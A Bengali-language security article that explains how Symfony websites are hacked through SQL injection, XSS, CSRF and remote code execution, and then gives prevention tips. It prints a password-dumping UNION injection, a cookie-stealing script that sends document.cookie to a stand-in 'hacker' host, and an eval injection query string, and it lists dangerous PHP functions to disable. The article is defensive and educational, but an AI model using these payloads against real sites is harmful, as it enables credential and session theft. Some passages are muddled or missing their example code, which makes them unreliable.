Symfony একটি জনপ্রিয় PHP framework যা ব্যবহারকারীদের জন্য PHP website এবং ওয়েব এপ্লিকেশন তৈরি করা সহজ করে তোলে। অতীতে, Symfony framework-এর ত্রুটির কারণে Drupal attack হওয়ার ঘটনা ঘটেছে যা এই Symfony website hacked কাঠামোর একটি ত্রুটি ছিল।
Symfony website hacked: লক্ষণ
- Database-এর মধ্যে সন্দেহজনক টেবিল, অজানা ব্যবহারকারী এবং সিস্টেম-এ অজানা ফাইল-গুলি এর লক্ষণ হতে পারে Symfony SQL Injection.
- Pop-up এবং বিজ্ঞাপনগুলি Phishing domain-এ রিডাইরেক্ট করা Symfony Remote Code Execution-এর ফল হতে পারে।
- ব্যবহারকারীরা আপনার সাইট-এ তাদের বৈধতা ছাড়াই একাউন্ট মুছে ফেলা বা ডাটা ম্যানুপুলেশন সম্পর্কে অভিযোগ করলে, এটি Symfony cross-site request জালিয়াতির কারণে হতে পারে।
- Symfony preserved cross-site scripting-এর কারণে আপনার সাইট-এ বিভ্রান্তিকর বিষয়বস্তু প্রদর্শিত হয়।
Symfony Website Hack হওয়ার কারণ
Symfony Website Hacked: SQL Injection
Symfony SQL Injection হল এক ধরনের আক্রমণ যা মূলত আপনার সাইটের ডাটাবেসকে লক্ষ্য করে। ব্যবহারকারীর ইনপুট স্যানিটাইজেশন-এর অভাব সাইটটিকে অরক্ষিত করে তোলে যার ফলে Symphony Website Hack হয়ে যায়। উদাহরণস্বরূপ, নীচের কোড-টি দেখুন:
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
এটি একটি SQL query চালানোর জন্য একটি সাধারণ PHP code-এর মতো দেখায় তবে আক্রমণকারী এটি ব্যবহার করে ডাটাবেজ থেকে সমস্ত পাসওয়ার্ড প্রকাশ করতে ব্যবহার করতে পারে। নির্বাচন করুন SQL command; $size ভেরিয়েবলে প্রদত্ত ইনপুট এমন কিছু দেখাবে-
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
কার্যকর করার পরে এই বিবৃতিটি ব্যবহারকারী নামের টেবিল থেকে সমস্ত পাসওয়রার্ড তালিকাভুক্ত করতে পারে। ‘-‘ এই বিবৃতির শেষে কোনো ত্রুটি এড়াতে এই লাইনের বাকি কোড-টিকে কমেন্ট-এ পরিণত করবে। এটি একটি ছোট উদাহরণ, আক্রমণকারীরা এটিকে বিভিন্ন উপায়ে ব্যবহার করতে পারে আপনার ডাটাবেস-কে manipulate করতে, এডিটিং করতে এবং এমনকি মুছে ফেলতে। কিছু Symfony Website hack করার ক্ষেত্রে, SQL একটি বিপরীত Shell পেতেও ব্যবহার করা যেতে পারে।
Symfony Website Hacked: Cross-Site Scripting
XSS হল একটি ব্যাপকভাবে পাওয়া দুর্বলতা যা সঠিক ব্যবহারকারীর Input sanitization-এর অভাবের কারণে ঘটে। এই দুর্বলতা সাধারণত Search box, message board ইত্যাদিতে পাওয়া যায়। XSS এর কারণে হ্যাক হওয়া একটি Symfony website, আক্রমণকারী কুকিজ চুরি করতে ব্যবহার করতে পারে এবং এইভাবে সেশন-টি দখল করতে পারে। উদাহরণস্বরূপ, নিম্নলিখিত code-এর সাথে একটি সার্চ query তৈরি করে আক্রমণকারী যে কেউকে এটিতে ক্লিক করে তার কুকিগুলি চুরি করার অনুমতি দিতে পারে৷
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
এখানে ‘>’ অক্ষর পূর্ববর্তী ট্যাগ বন্ধ করবে। এর পরে, ছবি() Constructor variable-এ একটি নতুন চিত্র তৈরি করবে ‘img’। পরবর্তী লাইনটি ছবির উৎস নির্ধারণ করবে এবং একই লাইনে Session takeover-এর জন্য কুকি পেতে document.cookie পদ্ধতি ব্যবহার করা হবে।
যদি XSS সংরক্ষিত বা অবিরাম থাকে তবে এটি আরও বেশি বিপজ্জনক। কারণ এই script-টি স্বয়ংক্রিয়ভাবে কুকি চুরি করবে যখন কেউ সংক্রামিত পেইজ-টি খুলবে। যেখানে, প্রতিফলিত XSS সামাজিক প্রকৌশল আক্রমণের উপর নির্ভর করে। শুধু cookie চুরিই নয়, Symphony Website Hack হওয়ার কারণে XSS-এও সব ধরনের Phishing আক্রমণের জন্য ব্যবহার করা যেতে পারে!
Symfony website hacked: cross-site request জালিয়াতি
CSRF আক্রমণকারীরা আপনার শিকারদের একাউন্ট মুছে ফেলা, ব্যবহারকারীর Manipulate data করা ইত্যাদির মতো অবাঞ্ছিত কাজগুলি করতে ব্যবহার করতে পারে৷ উদাহরণস্বরূপ, যখন কোনও ব্যবহারকারী আপনার সাইটে লগইন করেন, তখন নীচে দেওয়া ছবিটির মতো একটি বিশেষভাবে তৈরি করা পেইজটি দেখানোর ফলে মুছে ফেলা হতে পারে৷
এই page-টি ব্যবহারকারীর account মুছে ফেলার জন্য ‘delete’ value action ব্যবহার করবে। যদিও আক্রমণকারী বিভিন্ন আক্রমণ পরিচালনা করার জন্য CSRF ব্যবহার করতে পারে তবে তা সফলভাবে চালানো হয়েছে কিনা তা দেখার কোন ব্যবস্থা নেই।
Symfony Website Hacked: Remote Code Execution
দুর্বল কোডিং মানের কারণে Symfony ব্যবহার করে ওয়েবসাইটগুলিতে দূরবর্তী কোড execution ঘটে। উপরের সমস্ত আক্রমণের মধ্যে সবচেয়ে বড় নিরাপত্তা সমস্যা হল ব্যবহারকারীর ইনপুট-কে বিশ্বাস করা। উদাহরণস্বরূপ, দুর্বল ব্যবহার eval() PHP code-এ ফাংশনটি দেখতে এইরকম হবে-
এটি বেশ সহজ কোড বলে মনে হচ্ছে, যা argument-গুলি গ্রহণ করবে এবং PHP code হিসাবে string-টি চালানোর জন্য eval function ব্যবহার করবে। কিন্তু যেহেতু ইনপুট ফিল্টার করা হয় না তাই আক্রমণকারী কিছু মান সরবরাহ করতে পারে যেমন /index.php?arg=1; phpinfo()
যা Code execution-এর দিকে পরিচালিত করবে phpinfo() function.
Symfony website hacked: নিরাপদ উন্নয়ন অনুশীলন
- আপনার Symfony Website-এ XSS আক্রমণ প্রতিরোধ করতে, function-টি ব্যবহার করুন।
- এইরকম CSRF আক্রমণ এড়াতে Page-এ লুকানো একটি Random টোকেন প্রয়োগ করুন: <input type=”hidden” name=”csrf” value=””>
- RCE প্রতিরোধ করতে php.ini file-এ এই PHP নির্দেশের মাধ্যমে সমস্ত বিপজ্জনক ফাংশন নিষ্ক্রিয় করুন: disable_functions = “show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval”
- সুতরাং মূল বিষয় হল আপনার Symfony website-এ ব্যবহারকারীর ইনপুটকে বিশ্বাস না করে বেশিরভাগ দুর্বলতা এড়ানো যায়।
- যদি আপনি সন্দেহ করেন যে কোনও দুর্বলতা আপনার Website-এ লুকিয়ে থাকতে পারে তাহলে একটি সম্পূর্ণ নিরাপত্তা নিরীক্ষার জন্য যান।